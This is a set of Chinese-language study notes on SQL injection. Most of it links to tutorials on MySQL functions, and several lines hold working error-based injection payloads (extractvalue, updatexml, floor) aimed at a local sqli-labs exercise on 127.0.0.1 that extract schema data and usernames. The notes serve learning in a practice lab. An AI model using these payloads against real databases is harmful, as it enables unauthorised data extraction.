从0到1完全掌握 SQL 注入 | Drunkbaby’s Blog (drun1baby.top)
information schema
mysql中information_schema说明 - 程序员大本营 (pianshen.com)
information_schema.columns字段说明,获取数据库表所有列信息-CSDN博客
mysql中的连接函数
详解MySQL中CONCAT()函数的用法(链接字符串)_mysql concat-CSDN博客
SQL学习笔记——limit用法(limit使用一个参数,limit使用两个参数)_limit参数-CSDN博客
SUBSTR()、Ascii()
MySQL|SUBSTR() 函数用法 - 知乎 (zhihu.com)
SQL Server Ascii()函数 - SQL Server教程 (yiibai.com)
extractvalue()、updatexml()、floor()报错注入
sql注入中报错注入函数extractvalue和updatexml函数的原理及使用-CSDN博客
【精选】SQL报错型注入原理-详细讲解 extractvalue()、updatexml()、floor() 的报错原因-CSDN博客
如果extractvalue()
爆出的字段数不够,在条件中加入not来去除已经查询到的数据,然后显示未查询到的
such as:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --
extractvalue()
第二个参数似乎只能注入concat()
(-笔者目前所知),但是concat()
的参数可以嵌套group_concat()
:
127.0.0.1/Less-5/?id=1'%20 union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
也可已使用用substring()
函数截取
select (extractvalue(1,concat(0x7e,substring(hex((select database())),1,32))));
经过测试,updatexml()
也是可以和上面这样的嵌套
http://127.0.0.1/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20users%20where%20username%20not%20in%20(%22Angelina%22,%22Dummy%22,%22secure,stup%22)),0x7e),1)%20--+
同样的情况下,应该可以使用floor()
(但是根据上方博客的测试内容,rand()产生的伪随机数列011011001,需要运行到第三次产生异常导致报错,所以笔者预估需要数据库中至少三个数据才能使用floor()报错注入):
“select * from users where id=‘1’ and ( select 1 from ( select count(),concat( ( select schema_name from information_schema.schemata limit 0,1 ), floor( rand( 0 )2 ) ) x from information_schema.schemata group by x ) b ) --+ ’ LIMIT 0,1”
left()、right()
SQL中常用的字符串LEFT函数和RIGHT函数详解_数据库left_Java架构狮的博客-CSDN博客
limit和offset
MYSQL|limit和offset用法 - 知乎 (zhihu.com)
outfile
MySQL讲义第 36 讲——select 查询之 INTO OUTFILE参数_select into outfile-CSDN博客
注释
SQL注入中,注释#、 –+、 –%20、 %23到底是什么意思?sqli-labs-master-CSDN博客
在get请求中使用--+
而在post请求中使用#